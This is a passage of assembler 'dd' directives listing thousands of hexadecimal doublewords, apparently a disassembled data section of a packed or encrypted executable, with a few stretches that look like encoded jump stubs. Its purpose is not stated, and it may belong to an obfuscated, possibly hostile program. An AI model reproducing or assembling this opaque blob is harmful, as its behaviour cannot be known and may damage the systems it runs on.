0A92E60C2h, 7D7288BAh dd 38D048E3h, 0D31B408Dh, 0B7F4137Bh, 810AC0FAh, 64CED1C8h dd 0B64F6A55h, 48000010h, 0EFA3FDB2h, 432F911Eh, 0F4A002A9h dd 372B951Ah, 239B059Ah, 67389933h, 0BDEE0979h, 4F5CAFE3h dd 0C4E70171h, 800810DEh, 428C4814h, 779EE7E4h, 0AB5B455Ah dd 51ADC823h, 9367AC5Eh, 53DE6885h, 1A916BE3h, 0D06A419Ah dd 0A444CCC8h, 0EAF0CA07h, 0A1F73FA2h, 585913Eh, 0BD780193h dd 61A13769h, 6E2F21Fh, 43CB3BA5h, 9CF802A9h, 0AD426F3Ch dd 28A09893h, 0C74D1D0Dh, 5B08C9FBh, 6A8EE6F3h, 0F48E5F41h dd 0B755BD39h, 255ECA42h, 0FC2EB74Dh, 0DC6C2CAEh, 0CD783A61h dd 0F55FE7EBh, 0C3A9525Eh, 0D90B7781h, 5F4CAC18h, 0F6C373B2h dd 6D8E6FF9h, 7335953Eh, 41980383h, 62F2D367h, 0DED2685h dd 5B45770Bh, 0ADC823ABh, 90AA604Bh, 0AC7E404h, 27660A72h dd 764303A3h, 0D4DB32A2h, 0CF2ACE46h, 2766CD37h, 3F89BBA3h dd 0D4D73161h, 0BB76101Fh, 7635D33Bh, 24CDDEFEh, 0C44454E6h dd 0D9124A79h, 0BEE3BDFFh, 0B9740E79h, 1979CD3Dh, 0CD0FDF0Dh dd 8E56D69h, 27B123A7h, 1F879F13h, 0D931E2C9h, 359F270Fh dd 39F1327h, 77E737C1h, 0C5D1455Ah, 1327D345h, 0AB41A99Fh dd 2330CA00h, 0A20EED35h, 49167316h, 55E55BAFh, 344E9F13h dd 7895FDF9h, 5C3EC01h, 2CECEECCh, 2CC2F828h, 0E3843D78h dd 8141B555h, 537E52Ah, 44678111h, 0DC48C0D4h, 0AC91FBBFh dd 5242607Ah, 8E7C0FB6h, 8DECBB4Ch, 0C32E965Bh, 9904CFDCh dd 86B15296h, 0F24F3h, 0AF00DA00h, 634CA1D1h, 0B4F7157Dh dd 6748A6CEh, 0B7E80979h, 0EB61D5C9h, 3B279906h, 0C1B10F9Ch dd 731F812Ah, 12AC1695h, 4A6ADE6Eh, 6562428Ch, 455A7718h dd 0A4D1275Bh, 4EAC654Ah, 8B6D579Ch, 3CDAF320h, 0AA01D72Fh dd 0F0853438h, 0BF4FB126h, 17797F2Ch, 167h, 986177ECh dd 94E884F0h, 47648444h, 12BF093Bh, 0F3936682h, 4494E881h dd 93834577h, 0E89D077Fh, 396B4494h, 0D26C819Fh, 0DC67DF57h dd 0AA3EA1F6h, 0DB413B78h, 0C6BD7802h, 7875B68h, 0C2F8B9F6h dd 635C438h, 425948CAh, 6D000000h, 352E5F35h, 0F612B732h dd 0EEE5F3B5h, 9B2B48D2h, 4494E829h, 16F5DD1Fh, 6C9E5C95h dd 6BB8E8ECh, 62824FA5h, 7FE8EACh, 53EA18Ch, 67E0EC3h dd 23BD79ECh, 0FBE2E3Bh, 5348CBF4h, 0B3h, 4A617700h, 0C9D6FB89h dd 4F5C7C08h, 0E95BEBE7h, 0DF4494E8h, 0DC158A67h, 54EEC1Eh dd 5032798Fh, 94E55F1Ch, 0B60FE944h, 367D7019h, 42B6F4A2h dd 54702FD2h, 54B286A0h, 881A2018h, 16022D37h, 5F9F1476h dd 66D214C1h, 269C03EEh, 7F0C933Eh, 77119AB6h, 0E649406Bh dd 1800000Dh, 0DF93EDC2h, 533FA10Eh, 0E490F2B9h, 473BA50Ah dd 138BF5AAh, 5748A923h, 0CDDEF969h, 3F6C7FF3h, 0D4D73161h dd 9038E0EEh, 428C4B24h, 77EE1714h, 81F3935Ah, 774494E8h dd 7F938345h, 0E881F393h, 45774494h, 94E8D345h, 0FB77A944h dd 0B307CCE3h, 7187FB25h, 775D483Ah, 46CE4A61h, 0F1C90AA1h dd 0B5436C81h, 0DBD0289Ch, 505B7DE5h, 37F28CA3h, 0F03847BFh dd 94D63EA1h, 7953B2Eh, 0FBFA0000h, 0A7A379E3h, 0A7AE5655h dd 0BF53E5F7h, 38547D22h, 449477C0h, 2216112Bh, 6C339E36h dd 0ECC03ECEh, 86B83EADh, 0C6E50292h, 0EC4EBA52h, 0C3EBD7Ch dd 4EAA2AEEh dd 7F93835Dh, 7CEC9D07h, 9F396BBDh, 0DD169573h, 14950AE7h dd 770F6D2Bh, 12A21700h, 0EC00000Dh, 533FA10Eh, 0D78BF5BAh dd 483CA605h, 0DB87F9B6h, 8737A9F6h, 930CF597h, 9A2452Dh dd 9B10EB97h, 109B3D25h, 0D4741CB2h, 428C4C60h, 77226B58h dd 41D1455Ah, 0ABF503ACh, 498A21B7h, 2A0E9D3Bh, 8851B6FAh dd 0B0D44B3h, 8F20BEC6h, 149B7262h, 9619F5DFh, 3153203Eh dd 0FBCF9C3Ah, 8D357A93h, 0BA79406Bh, 42D2686Dh, 0CF9B05A6h dd 0B1263020h, 0D66h, 146F1F00h, 484494E3h, 0FFFDC441h dd 96F10FFh, 624494E8h, 61E94DD8h, 3EAD73C5h, 0D8571B3h dd 36E2C0EBh, 8D3EAA22h, 0DC0EBD73h, 7932D63Eh, 0B6F9157Dh dd 889219BEh, 2198394Bh, 3537AEB5h, 2A9F69F0h, 770E8C27h dd 4E8E2B14h, 0B000000Ch, 0F76B555Ah, 0ABD7C9E6h, 0FC685A51h dd 7FF3CDE2h, 6B633D62h, 1F8061FBh, 7536D1C1h, 2784570Bh dd 7C2FC9B9h, 38D0B806h, 428C4DCCh, 7786CFBCh, 0B6F91461h dd 33D5BFF4h, 3E423B78h, 0AA4237D6h, 0B0FAD001h, 0AB31C703h dd 9A2469Eh, 0F024D397h, 206AB126h, 1B000000h, 94E3146Fh dd 0B2F91244h, 65E000F8h, 0F80A0528h, 0A41BF410h, 0E4873AF7h dd 0FD0BB356h, 0FB82FFFFh, 81327993h, 0A4BEAF49h, 0D2FD8D89h dd 483EA1F7h, 78DFDD16h, 63BD7800h, 4F7EEEFBh, 1348CA04h dd 1B2h, 0E8596FC0h, 0EA0D4494h, 439D0EEAh, 6A0CB94Fh dd 973C7808h, 0CFED26E4h, 4494DCF1h, 8FEA3ADEh, 0DAD98FE3h dd 0D09943D5h, 554B6078h, 842DF088h, 5A7DF810h, 0A06AA051h dd 0F5B65242h, 0E7C8C0BCh, 75D54494h, 0E2CDFC6Ch, 6391B126h dd 85000001h, 58C0EB0Dh, 94EE44B0h, 0E8F23444h, 4A6177EDh dd 98DDFB89h, 3FA16744h, 5FB394AEh, 0A96A31C6h, 0B656C208h dd 3EA15E63h, 636FE719h, 797A71E3h, 31547BDh, 7A46BECEh dd 0FB63BD79h, 7E4F7EEEh, 0F99948CBh, 7B09CAE5h, 65A54E5Dh dd 48FB95A3h, 0C8000000h, 9B2B48D2h, 4494E829h, 0D179DD1Fh dd 4494E867h, 61D51355h, 0A1BDF2E9h, 7F58D03Eh, 5A9718F6h dd 0B8A06AA0h, 28E9C618h, 710B48D2h, 0BD783C0Bh, 0BB2B3816h dd 48CA240Ch, 55EB88D8h, 0D3661BEFh, 0B0CB45h, 77780000h dd 0FB894A61h, 7C08C9D6h, 0B6A24F5Ch, 0C1F2B91Eh, 45A3EF09h dd 0EB007C66h, 0A94494F0h, 0E95B5379h, 0DFF95309h, 6C5655B3h dd 1CACC953h, 0BB6B98A8h, 0ACAC5EA0h, 5F37BE1Ch, 9088BAC1h dd 0E4BEE100h, 5D4E51B0h, 7711325Eh, 7669604Bh, 8800000Ah dd 2F633D72h, 83EFD1DEh, 34604269h, 77EBD5DAh, 635B455Ah dd 277859F3h, 7D2EC9B9h, 0F9C6F23h, 8427C1B1h, 40C8D01Eh dd 428C4FD4h, 775EA7A4h, 91D1455Ah, 0BECE190h, 982784A0h dd 0C9B9E7F1h, 0D642CA2Fh, 0A644946Ch, 0A6B2A664h, 946CB226h dd 0E0588A44h, 946CFC68h, 809ACC44h, 93FBB322h, 4C7E3378h dd 0DEFCAF48h, 985952B6h, 1DFCC2Ch, 42E86h, 17FB4F00h dd 94E8056Fh, 0E1865344h, 0BDC987CAh, 2C7583C5h, 2B351Ah dd 21277018h, 0ED653EADh, 0EA9AA00Bh, 1D2040B8h, 0EDFCCD62h dd 8754CC4Eh, 46C632FDh, 0C746CEFBh, 75150115h, 0B7470E03h dd 51C3C7F9h, 27B7470Eh, 5D9FE3F5h, 0EA018B4h, 9DBDB747h dd 7E9000D4h, 0A453A731h, 0EA42F50Ah, 38Fh, 0E8096F9Bh dd 9EFF4494h, 0C34494E8h, 28A6EB9h, 0C15E126Bh, 20DD3199h dd 780A3CA8h, 10DA0CBDh, 4BCCD1DAh, 0B6E17714h, 970C3h dd 436C8E00h, 0D7D8355Dh, 486379E9h, 0DBD42A5Ah, 4B547DE5h dd 57F56955h, 0C7BB257Ah, 5D057B30h, 1F532D7Eh, 0EE00E2C9h dd 4036A22Ah, 906428Ch, 7A93FBBCh, 0DA856E4Fh, 3278CBECh dd 1F8C6CA8h, 8233DF2h, 745A7810h, 94D63EADh, 0AC87A12Eh dd 1F821CACh, 3476C74Ah, 0AB4CC4h, 382AEAA2h, 8495B75Ah dd 0B2553DA3h, 2CCCB8F9h, 839D527Fh, 8D18B0A8h, 0FCD6F3Dh dd 0F4096C7Fh, 6C4F6BBh, 97EBEDCDh, 23D0DF2Fh, 5B239535h dd 0E719A92Fh, 0E5E2E721h, 0FA6AE31Ch, 8D3B8D1h, 0CF2B0000h dd 7B9202E0h, 0C6264E34h, 7787FBE5h, 0B71A4A38h, 50C6FAE8h dd 188A15BCh, 0C2208B6Ch, 107239D2h, 0B9278464h, 79EB5B23h dd 4F428C40h, 48D22B52h, 0E8299B2Bh, 0D92F4494h, 5A90D2D2h dd 73D06EDEh, 76A83EADh, 0DFFE9682h, 8D3AAE1Eh, 0D012BD73h dd 7394001Ah, 0BD1A4A38h, 102AC5EEh, 34A00FDFh, 0E921D2CDh dd 738F371Fh, 0EDC74A16h, 0AF573BBBh, 0B75A2245h, 8202A943h dd 8699BA40h, 0D1C531FCh, 5A22CF39h, 6D8BBDB7h, 2C4621A9h dd 72B4CD6Fh, 0E32CE0F9h, 0A7220D6Ah, 835h, 247E31C9h dd 0B0129D70h, 1D8328C4h, 0AC169975h, 1C8619B8h, 0B71AB2A4h dd 6D8AFAE8h, 0DB30643Eh, 6682F2D0h, 7D815B45h, 8C419B0Dh dd 49747142h, 0F3146177h, 0D3C1F2B8h, 403D7635h, 7639D43Ch dd 0E17B7D3Dh, 436880D8h, 0ECEE1D5Dh, 0D4B4B126h, 61000001h dd 0ED1AE3FBh, 6E81CE56h, 2EF9836Ch, 5FDF42CAh, 0A1313EA1h dd 4EAC6546h, 0C05BD6B6h, 6B6DBC23h, 902CE517h, 0BD79C628h dd 784C1535h, 67ACFFD8h, 0C6F58593h, 8C48CBC2h, 197h, 4A617739h dd 0F90F7F89h, 0CEC28B2h, 3DD5419Fh, 0AC03DB9Ah, 0E1559367h dd 94E8FF69h, 7D9BCD44h, 0DB5BD670h, 0A1F6D86Bh, 0A546AE3Eh dd 0BE14DE06h, 0F8AE572h, 3CA418D9h, 1CBD7895h, 0D0C4EDC2h dd 48456E31h, 409FC18Ah, 0D2E1511Ah, 0FE48CA91h, 793A7196h dd 4259B741h, 2A000000h, 50A748D2h, 0A664965Bh, 0BD231AB2h dd 0F9213EA1h, 327DEABFh, 46B2F827h, 797F30CEh, 0C3FC6458h dd 0FFDCBD78h, 745D67ACh, 8F2FE62Bh, 1941A0C2h, 0DBD1E050h dd 0CE7548CAh, 91000000h, 37C1EA01h, 4A61771Ch, 0C9D6FB89h dd 8728C54Dh, 0DD04704Ah, 1FB911C2h, 6546A232h, 0EBC018ACh dd 6A8111F5h, 0A03A9041h, 94ECBF6Ch, 5C4FA944h, 179474DCh dd 0D6863ADAh, 94940C38h, 915EC456h, 54BC3CF7h, 36E2F8B3h dd 5F6C3496h, 140C34C1h, 0F4AACE56h, 0D0CF32A2h, 4BB61E1Ah dd 0C066666Eh, 0AC064D0h, 82E7D60Eh, 0B8F9366Fh, 0BFB2230Ch dd 0AE4C3242h, 0CE10074h, 7D92087Ch, 5ABE00BDh, 7D9246B2h dd 0B6F436BDh, 10E38EB5h, 0D9F0DB77h, 679h, 584A6585h dd 4DED12Ch, 512F7C90h, 0E2CD21h, 50326D94h, 836EEE60h dd 19BEA61Ch, 0A7443092h, 12F69E04h, 0F1952799h, 8C43EF59h dd 0A5F0DD42h, 5B455A77h, 0E8DAD127h, 4A6177BDh, 0D642CACEh dd 0A64494E8h, 0E054F464h, 0D84494E8h, 553F94A6h, 23CE46B3h dd 0E884F07Ch, 32744494h, 0F8108078h, 2ECCFEB3h, 3D75F4h dd 863C0000h, 9D5EE88Fh, 0B99D6B34h, 6326859Dh, 690A630Eh dd 7E9D3BCFh, 699B3EADh, 0C3A81C75h, 0A8A6EB9h, 0B614BDEEh dd 35D47424h, 33C74A01h, 708D05F1h, 0A238923Fh, 4B0B7Eh dd 0D2CA0000h, 5A51A748h, 9D20A890h, 5B3EA1C4h, 7BD4E829h dd 8D1C2A5Bh, 7B0502CFh, 0C44C48B0h, 0BC4C852Ah, 7803D84Ch dd 3C6EB0BDh, 2FD36E9Eh, 0C5A9C74Dh, 4D2FD345h, 3177A9B7h dd 0CE184Fh, 381C0000h, 4D2F2490h, 48D214B7h, 0DD48D20Dh dd 10942979h, 891F3708h, 971FA76Fh, 613EADEFh, 0BCE7371Fh dd 0E5985C12h, 0A06A419Ah, 0F7ADC69Ah, 0FE6E7BD9h, 48CE21CFh dd 8793h, 48D24000h, 795D79DDh, 94E867D1h, 0EF135544h dd 30F13E17h, 0D438C226h, 3EAD4A43h, 324BF335h, 74AC6482h dd 0F871E1A1h dd 7EE0FA65h, 0DCF60575h, 519C48C1h, 69000000h, 0FCF748D2h dd 3B173CE6h, 0EA389CABh, 50AB543Ah, 0E3869E9Ah, 7BA75334h dd 0FD8D898Fh, 3EAD53DFh, 1A732B5Dh, 1E8D6AAAh, 0BB0EDFF5h dd 0CE53846Dh, 71A26830h, 7FA1AA50h, 55F5E135h, 0BD735DE3h dd 0CB91A7D9h, 597F8EFEh, 0D2348C1h, 0F0000000h, 94F4F46Fh dd 0F4616844h, 30FFFFFEh, 9F748D2h, 0E37A2F14h, 385ECA42h dd 0FC2E4494h, 8A21C6AEh, 0C230D840h, 0BE3EADA3h, 8E98478Ch dd 0F413B3A3h, 72C74546h, 729A0E7Eh, 3072B75Bh, 9CA6397Ah dd 0A925A591h, 8FCD62E9h, 54B9E94Dh, 35A06820h, 56BEDA60h dd 358AF8B7h, 7018002Bh, 0D31B172Eh, 30A098CAh, 6C68D0DBh dd 92168DCh, 61E60A3h, 0C88668B0h, 5CC65411h, 0F25FE520h dd 7485632Bh, 0E29860D4h, 0FE26580Bh, 569BFAABh, 685A90DAh dd 22CFDCFCh, 5F82730Dh, 0FE8E8A40h, 71D7383Bh, 1B8DFDF1h dd 0F10DF758h, 0ABB8F9AFh, 1ABE1623h, 0A8432F91h, 4A802BCDh dd 7F937F89h, 0F7589D07h, 31396B0Dh, 0DF758C7h, 0D34F73B5h dd 0A49175EEh, 0AA43CF69h, 426F3CCFh, 8ED64288h, 0B78F4257h dd 627BF7BFh, 0EB86CB4Dh, 0BD1E7643h, 0EF58CC3Ch, 0AD400DF7h dd 8A408202h, 1C8F6C18h, 0D0CAFCD7h, 8E6DC58Eh, 529817E7h dd 0F3088870h, 0D23322B8h, 0A52FE449h, 6AAB6843h, 7902FFCCh dd 2BCC44B4h, 77856480h, 0C60544EDh, 6286EE34h, 0C9FC1549h dd 90E8F14Fh, 234B3378h, 902CE5CAh, 44940224h, 368E5B03h dd 0FEEAD8D7h, 0A3357696h, 0E20F9C6Fh, 940273EAh, 0AAB76544h dd 90F2B952h, 94221DDCh, 0AB596144h, 0EDB12626h, 0FFFFFFA3h dd 4A6177A6h, 0DFCC2C58h, 0F2B94FBFh, 0E9C2264Eh, 6C3F9C28h dd 6B7816A7h, 0E7F45249h, 4E5D7B13h, 3FD365A5h, 0DE9E02A9h dd 0B126F02Fh, 2473h, 48D22000h, 32D179DDh, 303EAD73h dd 843152EEh, 0E7E4ED4Dh, 0E666D25Dh, 0C74A1627h, 88FBE325h dd 3Eh, 0DD48D249h, 7332D179h, 0EE303EADh, 0C92EA652h dd 941BF2E2h, 0ADA51D86h, 96101949h, 75E093ECh, 0F3F0F963h dd 0B25ABE69h, 0C74A1713h, 3EFCF11h, 8EE9F2DBh, 470F75Ch dd 0BB0FC4E7h, 93FB361Dh, 4A80316Eh, 278464B0h, 31A3232Fh dd 74494E8h, 0A0E43D5h, 0E606738Ah, 9DF503C5h, 0BD12703Bh dd 0F89088A3h, 3EA1F6ADh, 0D4E8295Bh, 0BD78016Ch, 9808D179h dd 48CA0569h, 462Dh, 48D2E600h, 0F55D79DDh, 0A3159516h dd 0A94494E8h, 184A5A55h, 8F761602h, 7D3EA1BDh, 0A443CB4Bh dd 0EAF0CA07h, 3C6DD3E9h, 0D278BD78h, 246A9909h, 1EB648CAh dd 0C44EECB3h, 0EAh, 0DC48C0D4h, 0ACBD7830h, 7775607Ah dd 96CE4A61h, 6FE94D8h, 9318F0BEh, 0DC5EAC5Eh, 4D519177h dd 4F5CAF01h, 0C6BC68A2h, 5F4CACF2h, 889258B2h, 3EBAE50Ch dd 46C637D6h, 44942ED2h, 813278AAh, 32A2AF49h, 2C1CD5D6h dd 0D26843A4h, 9B05A642h, 942382DFh, 96C8C44h, 0BFFBB8F3h dd 636F9709h, 942A71E3h, 27845744h, 9469699Bh, 7395FD1Bh dd 5C3EC02h, 1E0913CCh, 1B17923Ah, 11053EA1h, 79790F79h dd 0FDCBFDBDh, 0D2B73A3h, 4F229365h, 0DF698694h, 1064E454h dd 0E8C74D45h, 2FD242B6h, 7F621270h, 0C67AAB20h, 0E4CF70FEh dd 1A8E5h, 0FBB45600h, 0AF00DD85h, 604BA1D1h, 0B3FC1282h dd 633CA5CDh, 3FDD517Dh, 0EFA3FDA2h, 452D9318h, 0E79B05A6h dd 96289A11h, 47EE5AF2h, 0F1DE428Ch, 455A77A4h, 0DAD1275Bh dd 48D2BDE8h, 0F55D79DDh, 585930Ch, 3EA1BD1Eh, 83F9BAECh dd 0BD783B1Dh, 0A9192208h, 48CA231Ah, 0C240h, 61771500h dd 0F5B3F814h, 7629C8BCh, 0E5223F3Dh, 0CEC4494h, 3DD5419Fh dd 26E40D9Eh, 132E9A32h, 0EC1EBB6Bh, 8922C64Eh, 0A28D9748h dd 0EEBD1EB6h, 23F305C5h, 5E2200A3h, 0AC5A8AC1h, 0B5E2D2F2h dd 0A3CC852h, 4962860Eh, 83CB3DCDh, 7FC1BD78h, 8C962779h dd 2215B5A1h, 18C74C2Ch, 0FFE272E6h, 0AF5242A0h, 2D347BF0h dd 7EA970FEh, 0DC0Bh, 0E7C82200h, 3B7489F9h, 0ECBF1D45h dd 3F708EF6h, 0CFD03161h, 0D349BDF1h, 630F712Eh, 0C9B92784h dd 5B077932h, 7A542E7Dh, 5882F696h, 8D7A428Ch, 455A7740h dd 1FA7AB5Bh, 4494E8B5h, 5BB74183h, 0A4542E7Dh, 16DBD02Ch dd 60D474E4h, 584494E8h, 77C11426h, 0ED1461h, 94E81C88h dd 0F0BAEC44h, 0DF263EBAh, 0C43F17B2h, 0CE1C8F69h, 5B7D074Ch dd 9468E850h, 0F39F0117h, 32A29615h, 0EA20D1DAh, 46A2D250h dd 65E5F165h, 44945BF3h, 279F97C9h, 44945BBDh, 92BF598Bh dd 0D7817FFAh, 0A3B00E79h, 3A83FCFh, 56C24ACEh, 26F0A6B1h dd 801426E4h, 355D4368h, 0A91BD8D3h, 813A7455h, 0FA6266D8h dd 0EE7003B0h, 0A6B8DE5h, 92F0BAF1h, 0B1A506E2h, 5AE0CB21h dd 380F9h, 40510000h, 4C637759h, 0D0DBFD87h, 515AB123h dd 0D8D334A0h, 5748A91Bh, 0D8C72A9Ah, 5A55A91Bh, 0DAD12B99h dd 5D52AB19h, 0ED6852B4h, 8900003Bh, 8950242Ch, 405E0h dd 42D0000h, 87000000h, 895C2404h, 89572414h, 4C781E7h dd 81000000h, 4EFh, 243C8700h, 240C895Ch, 0F1B95157h, 8906189Ch dd 0FA8959CFh, 4EC835Fh, 81242489h, 42404h, 52590000h dd 43243481h, 8F740651h, 0BE560841h, 74065143h, 5E087131h dd 52240C8Bh, 0C281E289h, 4, 8704C283h, 8B5C2414h, 89502414h dd 405E0h, 4050000h, 87000000h, 0E95C2404h, 0FFFB9550h dd 0B6024CE3h, 7A041FBEh, 0B88D060Fh, 618B1ACh, 0E0FFC503h dd 4663CCBBh, 749B56DCh, 76B1CF82h, 14890B74h, 234F6E3h dd 1446D4D6h, 5FC1B249h, 79B06014h, 2FF36F9Ah, 22414483h dd 626F987Ah, 79F95334h, 30FD3560h, 406F144Dh, 3B28080h dd 342EE158h, 18DA2564h, 8E8h, 8CEE3600h, 0B4575B46h, 0D0BF0F9Eh dd 81F98B59h, 5B82C1h, 0BE1CB600h, 13965AE6h, 0BBCAC681h dd 0EE9EC69h, 0FB000000h, 545D8E22h, 4E3A7A21h, 86B61A4Eh dd 8131FF64h, 7AC4B8DFh, 81FC5B33h, 5B7C7FF3h, 9E905h dd 476B0000h, 164BE1CAh, 81FACD4Bh, 8A0751C3h, 18890F7Bh dd 0E9000000h, 13h, 0C9C01385h, 57C16D3Fh, 3C03C34Ah, 8AC8F384h dd 81331175h, 41B23EF3h, 0DCEF810Eh, 8906F735h, 0BA666019h dd 8361B3CDh, 0DF8101E9h, 5B8CE1C1h, 60494949h, 9E8h, 98E4D600h dd 9A47BB93h, 0BB6613B4h, 0F5FEEC0h, 381h, 0C88B6600h dd 1EE8161h, 0F000000h, 0FFFF7485h, 41E081FFh, 0E941EEF4h dd 28h, 3F02CCC2h, 9 dup(0) dd 0C21E9h, 0B5206800h, 0F1E90618h, 68FFFB93h, 618B61Ch dd 0FB93E7E9h, 0B79368FFh, 0DDE90618h, 68FFFB93h, 618B8BDh dd 0FB93D3E9h, 0BBAD68FFh, 0C9E90618h, 68FFFB93h, 618BD41h dd 0FB93BFE9h, 0BE3368FFh, 0B5E90618h, 4CFFFB93h, 0F39F01AEh dd 372B951Ah, 0E89C06A5h, 3B279916h, 27970996h, 336C9537h dd 0E9C2254Dh, 3B708BF7h, 0F0BB1D45h, 0B4543C92h, 428C5B40h dd 0CD454B38h, 84367B24h, 2AB0FB10h, 4A61772Bh, 565F7F89h dd 6FCE12A5h, 28C054E6h, 0B6D01D83h, 0B80B7B7Bh, 4E3EA1D2h dd 0E8381C1Ch, 353F1DDBh, 0E7515991h, 0D5BD79AAh, 304C8593h dd 0BD79AAC8h, 986C75D5h, 2F432B48h, 8E609AD8h, 0A951E721h dd 48CB281Ah, 4B40h, 17FB1500h, 94E8056Fh, 87FFF344h, 4494E81Dh dd 0E9EFB9EBh, 47AF7A04h, 55BF474Bh, 234494E8h, 0CCB357E1h dd 0BA3EA1BDh, 0CB314B88h, 0C9BD783Ch, 5A64128h, 5B860EC3h dd 4CF28F44h, 0DC825D7Fh, 24109F0Fh, 0BE3648CAh, 0F000000h dd 894A6177h, 8C9D6FBh, 0C4195C7Ch, 62EE26EBh, 0F9B0C4B1h dd 2BE822E8h, 0EC6C3F99h, 14268964h, 9A8BDE8Eh, 77914494h dd 0C2264E34h, 0FCE56DE9h, 7E9C6EA3h, 0D79BC355h, 87BB2981h dd 223C31C7h, 94770F07h, 163EA19Eh, 0A0515A7Eh, 0F234D06Ah dd 0A253F90h, 4A61860Eh, 6D60E8B0h, 0DFC74D71h, 0C0E9D6Fh dd 42D24678h, 0F2A2009Fh, 3C1B900Fh, 0F170FF21h, 9D8B3C6h dd 43970000h, 0EF0E766Ch, 5AB2E2C0h, 0EB036F51h, 4BB6DEC4h dd 0CC426E54h, 94EEB150h, 3EA407E0h, 8CF6B556h, 35AB00D8h dd 0FD67DFA7h, 0CB428C5Dh, 17FBB7DEh, 94E8056Fh, 27B1F344h dd 279906EBh, 0B40E9D3Bh, 7593FB01h, 0B1CBA436h, 0C9FFAC40h dd 0BDC6BD4Dh, 82C43EA1h, 3CC53B51h, 34D3BD78h, 0AE4A3A77h dd 0A111D4FDh, 230B7698h, 2417A616h, 0D5C148CAh, 7830C335h dd 7187B9BDh, 0BF1Fh, 6177F400h, 9B46CE4Ah, 0E7DDF604h dd 23885F0Ah, 0C5902CE5h, 0C74494E5h, 0BE283A97h, 20BA80F2h dd 299714F4h, 0C70C9F39h, 583D0E18h, 0B0B56C77h, 0B5A19553h dd 6BCDA315h, 2B9D2DBBh, 21BB6BCDh, 97A1E3DFh, 0FB04077Fh dd 0B0F2C15Eh, 0C863FDD2h, 5124B850h, 0E868C74Ch, 2829813h dd 583C58C0h, 429944B0h, 3A844B7h, 57BB3D7Fh, 0C7BB257Ah dd 15F4752Ah, 0E270FE09h, 8DCC0B9h, 77930000h, 0C31A4A38h dd 6E8EF6ECh, 0DF2F633Dh, 5F82F2D0h, 0F86E6240h, 0C0227D64h dd 0A7833D4h, 0B82A815Ah, 217F2CCCh, 0D143C3CBh, 0A7428C5Eh dd 5A7793BAh, 73AB5B45h, 82599EBh, 0CC48D27Bh, 0B2217F2Ch dd 894A6177h, 0F4CEDDFBh, 3A658C04h, 0B6B74179h, 0F59581ACh dd 3EA1F78Ah, 0F852E70h, 1E46B2F9h, 0E70A59ACh, 0C76F0CB8h dd 0B561BF59h, 3F10956Dh, 0F6D4FDA2h, 0E68066CEh, 8328C054h dd 989C3E4Eh, 5DFD2BFCh, 0F9C3C94h, 5B50A727h, 0D92F63BDh dd 34AB21D2h, 1B22FCD8h, 0F2166E7Bh, 3D9BC7B9h, 0DA47456Eh dd 0E483AEA0h, 0F3156D76h, 3E9ACAB8h, 2018A3BBh, 63EAFDD8h dd 0FC9CFD67h, 4F99CB22h, 38F38DA2h, 0EFBC50C0h, 529D2DE9h dd 0C858C9A9h, 89932C96h, 0BE1ABA9Eh, 0F406C4EDh, 9069A424h dd 8DCF5EF4h, 7F5CF464h, 513E72Ch, 0D6B81E85h, 1821091Eh dd 64BC19A8h, 5033DEBh, 86160000h, 0BA750F78h, 263E5A3Eh dd 0EE775B7Fh, 0C83C30F8h, 0C04494C5h, 49107C7Eh, 4B3EA1D7h dd 2FCBA113h, 3FCF2369h, 973A3A70h, 5092F208h, 3429F870h dd 0C852F13Bh, 2E51F95Dh, 0C23BC49h, 0B1623DA4h, 77A78F59h dd 0BDF3F59h, 9CB54353h, 0B420A8ACh, 84539E40h, 0ADB7B842h dd 2BF69682h, 0D129AB7Bh, 0D127A78Fh, 5C7CE8DAh, 5595A4Fh dd 5D468E1Fh, 7655Ch, 0BFF00A00h, 535CB1E1h, 0C4E7056Dh dd 5758B6DEh, 0C7D8F969h, 0DB71E5D9h, 4B37A9F6h, 0F1A1FFACh dd 432F911Ah, 429C06A5h, 5F5ACE3Eh, 3532428Ch, 4A617708h dd 0CAE1FB89h, 11DA1D8h, 0D2700000h, 2777DF4Ah, 0C4039F95h dd 18C852A6h, 174587F7h, 1A2BDA4Ah, 0B06FB126h, 24000000h dd 77DF4AD2h, 951AF35Bh, 0E8900783h, 92024494h, 9F09817Ch dd 6D4494E8h, 176B6D3Bh, 40982CE5h, 0EB0D756Bh, 0E80A7E0Eh dd 0C0024494h, 62860E0Ah, 0B6A2AF49h, 0E8F2B91Eh, 46B27D07h dd 801FC252h, 72720064h, 52E8880Ch, 0A18787BAh, 0D50D093Eh dd 9AB432A0h, 7AEEDE21h, 62BD7925h, 29A1218Ah, 0C0EDCCFh dd 0F78D4678h, 0FF09CAE1h, 79251D87h, 0B9B9EBBDh, 36478C1Fh dd 6FC3CB98h, 1918413Bh, 0A351307Ah, 44A3C62Bh, 9A50AA67h dd 0C597A159h, 647D8CFCh, 142148CBh, 0F2000000h, 0FB6Ch dd 0F5088800h, 5ACE3EBAh, 324494E8h, 0D2EBEAF0h, 2979DD48h dd 6B07FD95h, 0D1C553BDh, 0A1EE7239h, 7DEE303Eh, 77149A78h dd 3B47426Dh, 34000006h, 7BE7D9D6h, 0FF734D62h, 0B0E4BEEDh dd 36F515Eh, 0EFDFC1DEh, 0ABF4DD7Fh, 1AA4D35h, 9318F39Fh dd 8A3452Dh, 0CC3C449Ah, 428C5058h, 0FB0A3330h, 0A6347B93h dd 0CE72BDC9h, 2A9E2E2Ah, 224494E8h, 985952AAh, 1192A862h dd 515A7E8Eh, 0F1D434A0h, 0A291AF7Bh, 19DA10A2h, 0D5F7C48Ah dd 28C717FFh, 1CE03081h, 7D48A90h, 26D46897h, 2F2EB1h dd 0D2E70000h, 5EBFDF4Ah, 646DEF5Fh, 26F0C5F4h, 1B89B1h dd 0D23A0000h, 5EBFDF4Ah, 7B481638h, 94E0AA1Bh, 2ADAE244h dd 6E4ED914h, 0FFFFFE73h, 7493FB27h, 125A7A37h, 892C6CF2h dd 0E30C0EDCh, 0C4B0D05Bh, 6110A19Ch, 7C7E86D4h, 0BF9D3F27h dd 0BB342B2h, 96D7B126h, 0AC000002h, 0F3935A77h, 4494E881h dd 0B04D4577h, 7C08C9FFh, 0B9E94D62h, 0D90481B8h, 98B93FB0h dd 33E0CB2Ch, 0B25F40A1h, 666E7B1Bh, 0EE460A30h, 0C9FCAE1Dh dd 48C6069h, 0DF33C5EAh, 158A6702h, 5C85EDD3h, 0C7618E43h dd 60E8EC6Ch, 4494BCF4h, 0A07882C4h, 0A1A12D28h, 576FAF3Eh dd 0CE46B159h, 34760E2Ch, 616AF47Fh, 0C9B7E809h, 0AA673899h dd 79B1AA12h, 0D6E3A3BDh, 564C537Eh, 0A22AC32Eh, 0BD79BF36h dd 